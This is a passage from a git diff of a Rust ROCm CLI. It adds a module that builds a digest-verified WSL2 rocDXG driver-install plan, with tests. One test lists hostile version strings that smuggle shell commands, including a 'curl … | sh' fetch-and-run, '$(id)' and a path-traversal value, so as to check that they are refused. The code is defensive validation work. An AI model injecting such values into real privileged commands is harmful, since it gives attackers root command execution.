env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(plan.supported); - let joined = plan.execution_commands().join("\n"); - assert!(!joined.contains("sha256sum -c -"), "{joined}"); - assert!(joined.contains("without verifying it"), "{joined}"); - } - - #[test] - fn wsl_rocdxg_opt_out_reads_negative_values_as_off() { - // The opt-out is a boolean, not a presence check. Reading "set to - // anything" as yes would turn digest verification off for a package - // installed as root on the strength of `=0` — the one value a reader - // writes when they mean the opposite. - for negative in ["0", "false", "no", "off", ""] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, negative); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!( - !plan.supported, - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} disabled verification" - ); - assert!( - plan.commands.is_empty(), - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} built an unverified install" - ); - } - - // The affirmative spellings still work, so this is a narrowing of what - // counts as yes rather than a removal of the escape hatch. - for affirmative in ["1", "true", "yes", "on"] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, affirmative); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!( - plan.supported, - "{ROCDXG_ALLOW_UNVERIFIED_ENV}={affirmative:?} was not honoured" - ); - } - } - - #[test] - fn wsl_rocdxg_refuses_a_version_that_could_escape_the_shell() { - // `ROCM_CLI_ROCDXG_VERSION` is interpolated into commands executed via - // `sh -c` after `apt-get update` has primed the sudo credential cache, - // so a `;` in it would start a second, attacker-chosen command running - // as root. The plan must refuse rather than quote its way out. - for hostile in [ - "1.2.0; curl http://example.invalid/x | sh", - "1.2.0 && id", - "$(id)", - "1.2.0`id`", - "../../etc/passwd", - "1.2.0\nid", - "1.2.0 ", - ] { - let mut env = scoped_rocdxg_env(); - env.set("ROCM_CLI_ROCDXG_VERSION", hostile); - // An opt-out must not buy past the version check either. - env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert!(!plan.supported, "accepted hostile version {hostile:?}"); - assert!( - plan.commands.is_empty(), - "built commands from hostile version {hostile:?}" - ); - // The refused value is echoed back in the plan a human reads, so it - // must not be able to forge lines there. Every line the renderer - // emits after the header is indented, so an unindented one came - // from the value. - let rendered = render_driver_install_plan(&plan, false, false); - for line in rendered.lines().skip(1) { - assert!( - line.starts_with(" "), - "hostile version {hostile:?} forged plan line {line:?} in:\n{rendered}" - ); - } - } - } - - #[test] - fn wsl_rocdxg_plan_drops_sudo_when_already_root() { - // Same reason the bare-metal plans take an escalation: containers and - // minimal cloud images run as uid 0 with no `sudo` binary, where an - // unconditional prefix kills every command before any driver work. - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::AlreadyRoot); - let joined = plan.execution_commands().join("\n"); - assert!(!joined.contains("sudo "), "{joined}"); - assert!(joined.contains("apt-get install -y '/tmp/"), "{joined}"); - // And it must not demand a binary it no longer uses. - assert!(!joined.contains("command -v sudo"), "{joined}"); - assert!( - !plan - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{:?}", - plan.preflight_checks - ); - } - - /// Runs the digest step the plan actually generates, rather than asserting - /// that it contains some substrings. - /// - /// The step this exercises is the trust anchor for a root install, and the - /// executable self-test that used to cover it was deleted along with - /// `scripts/wsl_setup_rocdxg.sh`. Substring assertions would let a quoting, - /// field-order or newline regression in the `printf | sha256sum -c -` - /// fragment ship green, so the generated command is pinned whole with - /// `assert_eq!` and then executed — with only the two values it embeds - /// redirected at a test payload, so the quoting, spacing and field order - /// under test are production's rather than a replica's. - /// - /// Field order in particular is invisible to a `starts_with`/`ends_with` - /// pair: `sha256sum -c -` reads `DIGEST FILENAME`, so emitting the path - /// first breaks every real WSL install while still starting with - /// `printf '%s %s\n' '` and ending with `' | sha256sum -c -`. - #[cfg(unix)] - #[test] - fn wsl_rocdxg_generated_digest_step_accepts_only_the_matching_file() { - use std::process::Command; - - let _env = scoped_rocdxg_env(); - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - let version = plan.repo_version_expr.clone(); - let pinned = ROCDXG_PINNED_DIGESTS - .iter() - .find_map(|(pinned_version, digest)| { - (*pinned_version == version.as_str()).then_some(*digest) - }) - .expect("the default version is pinned"); - let deb_path = format!("/tmp/rocdxg-roct_{version}_amd64.deb"); - let generated = plan - .execution_commands() - .into_iter() - .find(|c| c.contains("sha256sum -c -")) - .expect("plan verifies the download"); - - // Whole-string, not `contains`: the digest has to come first and the - // two fields have to be separated by exactly the two spaces - // `sha256sum -c -` expects. - assert_eq!( - generated, - format!("printf '%s %s\\n' '{pinned}' '{deb_path}' | sha256sum -c -") - ); - - let (root, _paths) = test_paths("wsl-rocdxg-digest"); - fs::create_dir_all(&root).expect("test root"); - let payload = root.join(format!("rocdxg-roct_{version}_amd64.deb")); - fs::write(&payload, b"pretend this is a .deb\n").expect("write payload"); - - let digest_of = |path: &Path| -> String { - let out = Command::new("sha256sum") - .arg(path) - .output() - .expect("sha256sum runs"); - assert!(out.status.success()); - String::from_utf8(out.stdout) - .expect("utf8") - .split_whitespace() - .next() - .expect("digest field") - .to_owned() - }; - let good = digest_of(&payload); - - // The command under test is the generated one; the only edits are the - // digest being checked and the path being checked, so a regression in - // how the fragment is built reaches `sh` here instead of being masked - // by a replica built to the test's own idea of the right shape. - let step = |digest: &str| -> bool { - let command = generated - .replace(pinned, digest) - .replace(&deb_path, &payload.display().to_string()); - Command::new("sh") - .arg("-c") - .arg(&command) - .output() - .expect("sh runs") - .status - .success() - }; - - assert!(step(&good), "the matching digest must pass"); - assert!( - !step(&"0".repeat(64)), - "a mismatched digest must fail the step" - ); - assert!(!step("deadbeef"), "a malformed digest must fail the step"); - assert!(!step(""), "an empty digest must fail the step"); - - let _ = fs::remove_dir_all(&root); - } - #[test] fn wsl_rocdxg_install_does_not_ask_for_a_reboot() { // ROCDXG is userspace: `ldconfig` publishes it in this boot. The @@ -4263,59 +3522,6 @@ VERSION_ID="41" assert!(render_driver_install_plan(&bare_metal, false, false).contains("post_reboot")); } - #[test] - fn wsl_rocdxg_version_is_overridable_and_reaches_every_reference() { - // One resolved value drives the archive name, the release tag and the - // download path, so an override cannot leave a URL pointing at the - // default. The value is resolved at plan-build time rather than left as - // a `${VAR:-default}` template, so the plan the user reviews names the - // build the install will actually fetch. - let mut env = scoped_rocdxg_env(); - - let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert_eq!(plan.repo_version_expr, "1.2.2"); - let commands = plan.execution_commands().join("\n"); - // The version is resolved here, not deferred to the shell: the plan the - // user approves has to name the build the install will actually fetch. - // No `${...}` expansion survives into the commands at all — the digest - // is resolved at plan-build time too, which - // `wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default` - // asserts by name. - assert!( - !commands.contains("ROCM_CLI_ROCDXG_VERSION"), - "version must be resolved at plan-build time, not left as a shell template:\n{commands}" - ); - let occurrences = commands.matches("1.2.2").count(); - assert!( - occurrences >= 3, - "version should drive the deb name, the tag and the path; saw {occurrences}" - ); - - // An override has to reach every one of those references, including the - // release URL — the bug this guards is a URL left on the default. The - // digest comes along because an unpinned version is refused outright; - // see `wsl_rocdxg_refuses_a_version_whose_digest_is_unknown`. - env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); - env.set(ROCDXG_SHA256_ENV, &"b".repeat(64)); - let overridden = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - assert_eq!(overridden.repo_version_expr, "9.9.9"); - let commands = overridden.execution_commands().join("\n"); - assert!( - commands.contains("rocdxg-roct_9.9.9_amd64.deb"), - "{commands}" - ); - assert!( - commands.contains( - "https://github.com/ROCm/librocdxg/releases/download/v9.9.9/rocdxg-roct_9.9.9_amd64.deb" - ), - "{commands}" - ); - assert!( - !commands.contains("1.2.2"), - "override left a reference on the default version:\n{commands}" - ); - } - // EAI-7406: distro selection must honor `/etc/os-release` `ID_LIKE`, so that // Debian/Ubuntu-family and RHEL-rebuild derivatives that share their base // version scheme are matched to the correct apt (`ubuntu/`) or EL diff --git a/apps/rocm/src/driver_plan.rs b/apps/rocm/src/driver_plan.rs index 4bb9a838ea..3908b860a9 100644 --- a/apps/rocm/src/driver_plan.rs +++ b/apps/rocm/src/driver_plan.rs @@ -16,6 +16,12 @@ use std::fmt::Write as _; use rocm_core::placeholder::empty_as_unknown; +mod rocdxg; + +#[cfg(test)] +pub(crate) use rocdxg::scoped_rocdxg_env; +pub(crate) use rocdxg::wsl_rocdxg_driver_plan; + #[derive(Debug, Clone)] pub(crate) struct DriverInstallPlan { pub(crate) supported: bool, diff --git a/apps/rocm/src/driver_plan/rocdxg.rs b/apps/rocm/src/driver_plan/rocdxg.rs new file mode 100644 index 0000000000..c1c62d9bc6 --- /dev/null +++ b/apps/rocm/src/driver_plan/rocdxg.rs @@ -0,0 +1,829 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! The WSL2 rocDXG driver plan: installing the digest-pinned `rocdxg-roct` +//! package that bridges the Windows host driver into the distro, and refusing to +//! build a plan when the package cannot be authenticated. +//! +//! Relocated from `driver_install.rs` with no behavior change. +//! `ROCDXG_PINNED_DIGESTS` is the trust anchor: the digests an unattended root +//! install is checked against. It moved byte for byte. +//! +//! A child of `driver_plan.rs`: it builds the plan with the model, the command +//! helper and the version-template resolver that stay in the parent, and the +//! parent re-exports `wsl_rocdxg_driver_plan` for the builders in +//! `driver_install.rs`. It also reads `truthy_env` from `therock.rs`. + +use super::{ + DriverCommandPhase, DriverInstallPlan, PrivilegeEscalation, driver_command, + driver_root_preflight_checks, resolve_shell_default_template, +}; + +/// Release of ROCDXG installed on WSL2, overridable for trying another build. +/// +/// Resolved once at plan-build time via [`resolve_shell_default_template`], the +/// same way `ROCM_CLI_AMDGPU_DRIVER_VERSION` is validated for the bare-metal +/// repository pin. The concrete value is baked into the archive name, the release URL and +/// the `repo_version:` line, so the plan a user reviews names the build the +/// install will actually fetch rather than an unexpanded `${...}` placeholder. +/// +/// How the default is chosen: the newest non-prerelease `librocdxg` release +/// whose `rocdxg-roct` digest is pinned in [`ROCDXG_PINNED_DIGESTS`]. Moving it +/// is two edits — add the `(version, digest)` row to that table, then change +/// the literal here — and the two must move together: a default with no row +/// makes [`resolve_rocdxg_verification`] refuse to build a plan at all unless +/// the caller supplies a digest, so a bump that forgets the table breaks every +/// default WSL install rather than falling back to the previous release. +/// +/// Deliberately out of scope: `rocdxg-amd-smi-lib__amd64.deb`, which +/// v1.2.1 and v1.2.2 ship alongside `rocdxg-roct` and the five releases before +/// them do not, is not installed here. It is a second prefix under +/// `/opt/rocm-wsl` carrying its own `amd-smi` and `libamd_smi.so`, and it +/// installs an `/etc/profile.d` entry that sources the package's own +/// `/opt/rocm-wsl/.env.sh`, which in turn prepends that prefix to `PATH` and +/// `LD_LIBRARY_PATH` for new login shells. That is a system-wide environment +/// change in service of a monitoring utility that neither `wsl_rocdxg_ready` +/// nor `rocm serve` depends on, and it is not available for every version in +/// the pinned table. Installing it is a separate decision that belongs behind +/// its own opt-in, not folded into the plan whose job is to supply the runtime +/// bridge. +const ROCDXG_VERSION_EXPR: &str = "${ROCM_CLI_ROCDXG_VERSION:-1.2.2}"; + +/// Supplies a SHA-256 digest for the ROCDXG package, overriding the pinned one. +/// Required when installing a version this build has no digest for. +const ROCDXG_SHA256_ENV: &str = "ROCM_CLI_ROCDXG_SHA256"; + +/// Opts out of digest verification entirely, when set to an affirmative value. +/// Named explicitly so that shipping an unverified root install is a deliberate +/// act with an audit trail in the plan, rather than what happens when a variable +/// is simply unset. +const ROCDXG_ALLOW_UNVERIFIED_ENV: &str = "ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED"; + +/// SHA-256 digests of the `rocdxg-roct` package shipped with each published +/// ROCDXG release, taken from the release host's own asset metadata. +/// +/// These exist so the default install is authenticated. The package is fetched +/// over plain HTTPS from a release page and then handed to `apt-get install`, +/// which runs its maintainer scripts as root — so without a digest, TLS to the +/// download host is the only thing standing between a compromised or swapped +/// artifact and root on the user's machine. That is materially weaker than the +/// bare-metal apt path in this same file, which installs from a repository +/// pinned with `signed-by=/etc/apt/keyrings/rocm.gpg`. +/// +/// A version absent from this table is not installed unless the caller supplies +/// a digest via `ROCM_CLI_ROCDXG_SHA256` or opts out via +/// `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`; see [`resolve_rocdxg_verification`]. +/// Add the new pair here when pinning a newer release. Nothing in the tree +/// checks a row against the published artifact, so a mistyped digest surfaces +/// only as a failed install on a WSL host — fail-closed, but confusing. Take +/// the value from the release's own asset metadata, or recompute it: +/// +/// ```text +/// curl -L --fail \ +/// https://github.com/ROCm/librocdxg/releases/download/v/rocdxg-roct__amd64.deb \ +/// | sha256sum +/// ``` +const ROCDXG_PINNED_DIGESTS: &[(&str, &str)] = &[ + ( + "1.0.0", + "5e78d300dfb8c10dfd57de24b312ff9f9962a3a971f571e5e9383e1c543b607a", + ), + ( + "1.1.0", + "d1f92415d218ca10df3c39f2ce48872ee968549a97191e987f2c2a79ab709f23", + ), + ( + "1.1.1", + "cd2ba9dbfd32bf35755a45e7e92410524f32baa2b4dcc31d0106876d04c3abcc", + ), + ( + "1.1.2", + "e426a5f58f4f177512a354ed5f0dd7b2c0a2b736f009e09bf806edf18ca6cb97", + ), + ( + "1.2.0", + "3ed9526719290cd8f590150dad8ea0f234fa779bea6a4c9a8449d7ae6b8cfb6e", + ), + ( + "1.2.1", + "7889eef45a1132ed2dde88d8ea1356bf791ec9c05802a18940bc81b970e850e0", + ), + ( + "1.2.2", + "28ded1254811192ebace1f76c0227580184af7b27ab2475fb9728295a702d541", + ), +]; + +/// Whether a resolved ROCDXG version is safe to place in the plan's commands. +/// +/// The driver plan is a list of shell lines run through `sh -c`, and the +/// version is interpolated into three of them — the archive name, the release +/// URL and the local path — each of which is then executed with `sudo` already +/// primed by an earlier `apt-get update`. `ROCM_CLI_ROCDXG_VERSION` reaches +/// this unchanged from the environment, so a value containing `;` or a +/// backtick would otherwise end the intended command and start an attacker's +/// own. Restricting it to characters that appear in a Debian package version +/// removes the possibility rather than trying to escape it. +fn rocdxg_version_is_well_formed(version: &str) -> bool { + !version.is_empty() + && version.starts_with(|c: char| c.is_ascii_alphanumeric()) + && version + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '+' | '-' | '~')) +} + +/// Whether a string is a bare lowercase 64-character hex SHA-256 digest, the +/// form `sha256sum -c -` expects. +fn sha256_digest_is_well_formed(digest: &str) -> bool { + digest.len() == 64 && digest.chars().all(|c| c.is_ascii_hexdigit()) +} + +/// How the downloaded ROCDXG package will be authenticated before it is +/// installed as root. +#[derive(Debug, Clone, Eq, PartialEq)] +enum RocdxgVerification { + /// Check the download against this digest and abort the install on a + /// mismatch. + Digest(String), + /// Install without checking, because the caller explicitly asked for it. + OptedOut, +} + +/// Decide how a ROCDXG download will be authenticated, or `Err` with the reason +/// no plan can be built. +/// +/// Resolution order — an explicit digest wins over the pinned one so a user can +/// install an artifact this build predates without having to disable +/// verification wholesale: +/// +/// 1. `ROCM_CLI_ROCDXG_SHA256`, when it is a well-formed digest. +/// 2. The digest pinned for this version in [`ROCDXG_PINNED_DIGESTS`]. +/// 3. `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`, when set to an affirmative value +/// — see [`crate::therock::truthy_env`] for the exact allowlist — which opts +/// out. `0` and `false` do not. +/// +/// Nothing left means refusal. Verification is therefore opt-*out*: the failure +/// mode of an unset variable is a plan that will not run, not a root install of +/// an unauthenticated package. +fn resolve_rocdxg_verification(version: &str) -> Result { + if let Some(supplied) = std::env::var(ROCDXG_SHA256_ENV) + .ok() + .map(|value| value.trim().to_ascii_lowercase()) + .filter(|value| !value.is_empty()) + { + if !sha256_digest_is_well_formed(&supplied) { + return Err(format!( + "{ROCDXG_SHA256_ENV} is not a 64-character hex SHA-256 digest; refusing to install ROCDXG without a usable digest." + )); + } + return Ok(RocdxgVerification::Digest(supplied)); + } + + if let Some(pinned) = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(pinned_version, digest)| (*pinned_version == version).then_some(*digest)) + { + return Ok(RocdxgVerification::Digest(pinned.to_owned())); + } + + // An allowlist of affirmative values, not "set to anything non-empty": + // otherwise `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED=0` — which every reader takes + // for "off" — would turn digest checking off for a package installed as + // root. Anything this does not recognise leaves verification on. + if crate::therock::truthy_env(ROCDXG_ALLOW_UNVERIFIED_ENV) { + return Ok(RocdxgVerification::OptedOut); + } + + Err(format!( + "no known SHA-256 digest for ROCDXG {version}, and this package is installed as root. Set {ROCDXG_SHA256_ENV} to the digest published with that release, or set {ROCDXG_ALLOW_UNVERIFIED_ENV}=1 to install without verifying it." + )) +} + +/// A WSL plan that cannot be run, carrying the reason in the same shape every +/// other unsupported plan uses so `--dry-run`, the approval prompt and +/// `state.json` all report it identically. +fn wsl_rocdxg_refusal_plan(repo_version: String, reason: String) -> DriverInstallPlan { + DriverInstallPlan { + supported: false, + mutating: false, + policy: "wsl_rocdxg".to_owned(), + os_id: "wsl".to_owned(), + version_id: String::new(), + codename: String::new(), + repo_version_expr: repo_version, + reason, + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], + reboot_required: false, + } +} + +/// The `rocm install driver` plan for a WSL2 host. +/// +/// WSL2 has no in-tree amdgpu driver to install: the GPU comes from the Windows +/// host driver through `/dev/dxg`, and what ROCm needs on the Linux side is +/// ROCDXG (`librocdxg`), which bridges the runtime to it. Without that library +/// `rocm examine` reports `wsl_rocdxg_missing` and `rocm serve` refuses with +/// "no usable AMD GPU detected", even though a gfx target is detected — the +/// target is read from the Windows-side driver. +/// +/// This used to be a refusal pointing at a shell script under `scripts/`, which +/// ships only in a git checkout — never in the release bundle — so it was a dead +/// end for anyone who installed the CLI normally. These are that script's steps; +/// it has been removed rather than left as a second, untested copy of them. +pub(crate) fn wsl_rocdxg_driver_plan(escalation: PrivilegeEscalation) -> DriverInstallPlan { + let version = resolve_shell_default_template(ROCDXG_VERSION_EXPR); + if !rocdxg_version_is_well_formed(&version) { + return wsl_rocdxg_refusal_plan( + // The rejected value is still rendered into the plan's + // `repo_version:` line so the user can see what was refused — but + // that line is part of a plan a human reads to decide, and a raw + // value containing a newline could forge further lines in it. The + // debug form escapes newlines and makes trailing space visible, + // which is exactly what is wanted for a value being shown as + // rejected. + format!("{version:?}"), + "ROCM_CLI_ROCDXG_VERSION is not a well-formed package version. It is interpolated into privileged shell commands, so only letters, digits, and `. + - ~` are accepted.".to_owned(), + ); + } + let verification = match resolve_rocdxg_verification(&version) { + Ok(verification) => verification, + Err(reason) => return wsl_rocdxg_refusal_plan(version, reason), + }; + + let sudo = escalation.prefix(); + let deb = format!("rocdxg-roct_{version}_amd64.deb"); + let url = format!("https://github.com/ROCm/librocdxg/releases/download/v{version}/{deb}"); + let deb_path = format!("/tmp/{deb}"); + // `version` is validated above and the digest is hex, so neither can carry + // shell metacharacters; the quotes keep that guarantee local to the command + // rather than resting on a check several functions away. + let verify_download = match &verification { + RocdxgVerification::Digest(digest) => driver_command( + DriverCommandPhase::Execute, + &format!("printf '%s %s\\n' '{digest}' '{deb_path}' | sha256sum -c -"), + ), + RocdxgVerification::OptedOut => driver_command( + DriverCommandPhase::Execute, + &format!( + "echo 'warning: installing ROCDXG {version} without verifying it ({ROCDXG_ALLOW_UNVERIFIED_ENV} is set)' >&2" + ), + ), + }; + DriverInstallPlan { + supported: true, + mutating: true, + policy: "wsl_rocdxg".to_owned(), + os_id: "wsl".to_owned(), + version_id: String::new(), + codename: String::new(), + repo_version_expr: version, + reason: + "WSL2 uses the Windows host driver plus ROCDXG, not Linux DKMS; this installs ROCDXG." + .to_owned(), + // Read, not run: the GPU plumbing belongs to the WSL platform, so if it + // is absent the fix is on the Windows side and no Linux package helps. + // The Execute phase fails on the same two paths rather than installing + // a library with nothing to bind to. + preflight_checks: { + let mut checks = vec![ + "/dev/dxg (WSL GPU device)".to_owned(), + "/usr/lib/wsl/lib/libdxcore.so (WSL dxcore runtime)".to_owned(), + ]; + checks.extend(driver_root_preflight_checks(escalation)); + checks + }, + commands: vec![ + driver_command( + DriverCommandPhase::Prepare, + "test -e /dev/dxg || { echo 'error: /dev/dxg is missing; WSL GPU plumbing is not available' >&2; exit 1; }", + ), + driver_command( + DriverCommandPhase::Prepare, + "test -e /usr/lib/wsl/lib/libdxcore.so || { echo 'error: /usr/lib/wsl/lib/libdxcore.so is missing' >&2; exit 1; }", + ), + // Say why up front rather than letting the first privileged step die + // with `sudo: command not found`, which reads like a broken plan. + // Skipped when already root: the plan emits no `sudo` at all then, + // so demanding the binary would state a precondition it is not + // relying on. + driver_command( + DriverCommandPhase::Prepare, + if escalation.needs_sudo_binary() { + "command -v sudo >/dev/null 2>&1 || { echo 'error: sudo is required to install ROCDXG under /opt/rocm' >&2; exit 1; }" + } else { + "test \"$(id -u)\" -eq 0 || { echo 'error: this plan was built to run as root' >&2; exit 1; }" + }, + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get update"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get install -y ca-certificates curl"), + ), + driver_command( + DriverCommandPhase::Execute, + &format!("curl -L --fail --show-error --output '{deb_path}' '{url}'"), + ), + // Authenticating the download is the whole trust anchor for this + // plan: everything after it runs the package's maintainer scripts + // as root. `sha256sum -c -` exits non-zero on a mismatch, which + // aborts the plan before the install step. + verify_download, + driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}apt-get install -y '{deb_path}'"), + ), + driver_command(DriverCommandPhase::Execute, &format!("{sudo}ldconfig")), + driver_command( + DriverCommandPhase::Verify, + "test -e /opt/rocm/lib/librocdxg.so", + ), + driver_command( + DriverCommandPhase::Verify, + "ldconfig -p | grep -q 'librocdxg\\.so'", + ), + ], + // `rocm diagnose` carries the WSL catalog, including the host-side + // form that inspects a distro over `wsl.exe` without needing anything + // installed inside it. + checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], + // Userspace only: `ldconfig` publishes the library in this boot. + reboot_required: false, + } +} + +#[cfg(test)] +use crate::tests::ScopedTestEnv; + +#[cfg(test)] +/// Clear every input that steers the ROCDXG plan, so a value exported in +/// the developer's or runner's shell cannot decide the outcome of a test +/// that is asserting on the default. +/// +/// Builds on [`ScopedTestEnv::with_amd_overrides_cleared`] rather than +/// `new` so a caller that also exercises the bare-metal AMDGPU override +/// through the same `build_driver_install_plan_at` call doesn't need a +/// second guard: one helper covers both input sets regardless of which +/// branch actually reads them. +pub(crate) fn scoped_rocdxg_env() -> ScopedTestEnv { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.clear("ROCM_CLI_ROCDXG_VERSION"); + env.clear(ROCDXG_SHA256_ENV); + env.clear(ROCDXG_ALLOW_UNVERIFIED_ENV); + env +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::driver_plan::render_driver_install_plan; + #[cfg(unix)] + use crate::tests::test_paths; + #[cfg(unix)] + use std::fs; + #[cfg(unix)] + use std::path::Path; + + #[test] + fn wsl_rocdxg_plan_installs_the_library_and_publishes_it() { + // Asserts on the default plan, so it has to take the same guard as the + // mutating tests in this binary: a concurrent test exporting + // `ROCM_CLI_ROCDXG_VERSION` would otherwise steer this one's plan. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let commands = plan.execution_commands().join("\n"); + + // Fetches the release artifact, installs it, and makes the linker see + // it. Any one of these missing leaves `wsl_rocdxg_ready` unreachable. + assert!(commands.contains("https://github.com/ROCm/librocdxg/releases/download/")); + assert!(commands.contains("rocdxg-roct_")); + assert!(commands.contains("sudo apt-get install -y '/tmp/rocdxg-roct_")); + assert!(commands.contains("sudo ldconfig")); + + // And in that order. `ldconfig` refreshes the cache from what is on + // disk now, so running it before `apt-get install` has unpacked + // `librocdxg.so` scans a directory that does not contain it yet and + // publishes nothing — leaving the plan reporting success while the + // `ldconfig -p` verification below is the only thing that would notice. + // Both steps are still present under that swap, so every `contains` + // assertion in this file stays green; only a position comparison + // catches it. + let steps = plan.execution_commands(); + let install = steps + .iter() + .position(|c| c.contains("apt-get install -y '/tmp/")) + .expect("plan installs the package"); + let publish = steps + .iter() + .position(|c| c.trim_end().ends_with("ldconfig")) + .expect("plan publishes the library"); + assert!( + install < publish, + "ldconfig must run after the package is installed:\n{}", + steps.join("\n") + ); + + // Verification asserts the two things `examine` keys `wsl_rocdxg_ready` + // on, so a silently partial install cannot report success. + let verify = plan + .commands + .iter() + .filter(|c| c.phase == DriverCommandPhase::Verify) + .map(|c| c.command.clone()) + .collect::>() + .join("\n"); + assert!(verify.contains("/opt/rocm/lib/librocdxg.so")); + assert!(verify.contains("ldconfig -p")); + } + + #[test] + fn wsl_rocdxg_plan_guards_the_gpu_plumbing_before_any_mutating_command() { + // /dev/dxg and dxcore come from the Windows side. If they are missing, + // installing the bridge library accomplishes nothing, so the plan must + // stop rather than report a successful install of something inert. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let prepare = plan + .commands + .iter() + .filter(|c| c.phase == DriverCommandPhase::Prepare) + .map(|c| c.command.clone()) + .collect::>(); + let joined = prepare.join("\n"); + assert!(joined.contains("/dev/dxg")); + assert!(joined.contains("/usr/lib/wsl/lib/libdxcore.so")); + // Named explicitly, rather than surfacing as `sudo: command not found` + // from whichever privileged step happened to run first. + assert!(joined.contains("command -v sudo")); + // Both guards run before anything is fetched or installed. + let first_mutation = plan + .execution_commands() + .iter() + .position(|c| c.contains("apt-get") || c.contains("curl")) + .expect("plan installs something"); + let last_guard = plan + .execution_commands() + .iter() + .rposition(|c| c.contains("is missing")) + .expect("plan guards the plumbing"); + assert!( + last_guard < first_mutation, + "plumbing guards must precede the first mutating command" + ); + } + + #[test] + fn wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default() { + // The package is installed with `apt-get install`, which runs its + // maintainer scripts as root. With no digest, TLS to the release host + // is the only thing authenticating that download — weaker than the + // bare-metal path in this same file, which installs from a + // `signed-by=` pinned repository. So the default plan must verify. + let _env = scoped_rocdxg_env(); + let commands = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo).execution_commands(); + let joined = commands.join("\n"); + + let pinned = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(version, digest)| (*version == "1.2.2").then_some(*digest)) + .expect("the default version is pinned"); + assert!(joined.contains(pinned), "{joined}"); + assert!(joined.contains("sha256sum -c -"), "{joined}"); + + // Not a conditional: an unset variable must not be able to turn + // verification off, which is what the previous `if [ -n ... ]` form + // did. + assert!( + !joined.contains("skipping checksum verification"), + "{joined}" + ); + assert!(!joined.contains(ROCDXG_SHA256_ENV), "{joined}"); + + // Ordering is the whole point — a digest checked after the install has + // already run is decoration. + let check = commands + .iter() + .position(|c| c.contains("sha256sum -c -")) + .expect("plan verifies the download"); + let install = commands + .iter() + .position(|c| c.contains("apt-get install -y '/tmp/")) + .expect("plan installs the package"); + assert!(check < install, "digest must be checked before install"); + } + + #[test] + fn wsl_rocdxg_refuses_a_version_whose_digest_is_unknown() { + // An unpinned version is the case where silently falling back to "no + // verification" would be most dangerous, because it is reachable from + // a single environment variable. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(plan.commands.is_empty(), "a refusal must run nothing"); + assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); + assert!( + plan.reason.contains(ROCDXG_ALLOW_UNVERIFIED_ENV), + "{}", + plan.reason + ); + } + + #[test] + fn wsl_rocdxg_accepts_a_supplied_digest_for_an_unpinned_version() { + // The escape hatch for a release newer than this build: supply the + // digest rather than disabling verification. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + let supplied = "a".repeat(64); + env.set(ROCDXG_SHA256_ENV, &supplied); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(plan.supported); + let joined = plan.execution_commands().join("\n"); + assert!(joined.contains(&supplied), "{joined}"); + assert!(joined.contains("sha256sum -c -"), "{joined}"); + } + + #[test] + fn wsl_rocdxg_rejects_a_malformed_supplied_digest() { + // A truncated or mistyped digest must not silently fall back to the + // pinned one, which would verify a different artifact than the user + // asked for and report success. + let mut env = scoped_rocdxg_env(); + env.set(ROCDXG_SHA256_ENV, "not-a-digest"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported); + assert!(plan.commands.is_empty()); + assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); + } + + #[test] + fn wsl_rocdxg_unverified_install_takes_an_explicit_opt_out() { + // Installing unverified stays possible — it just has to be asked for, + // and the plan the user approves has to say so. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + 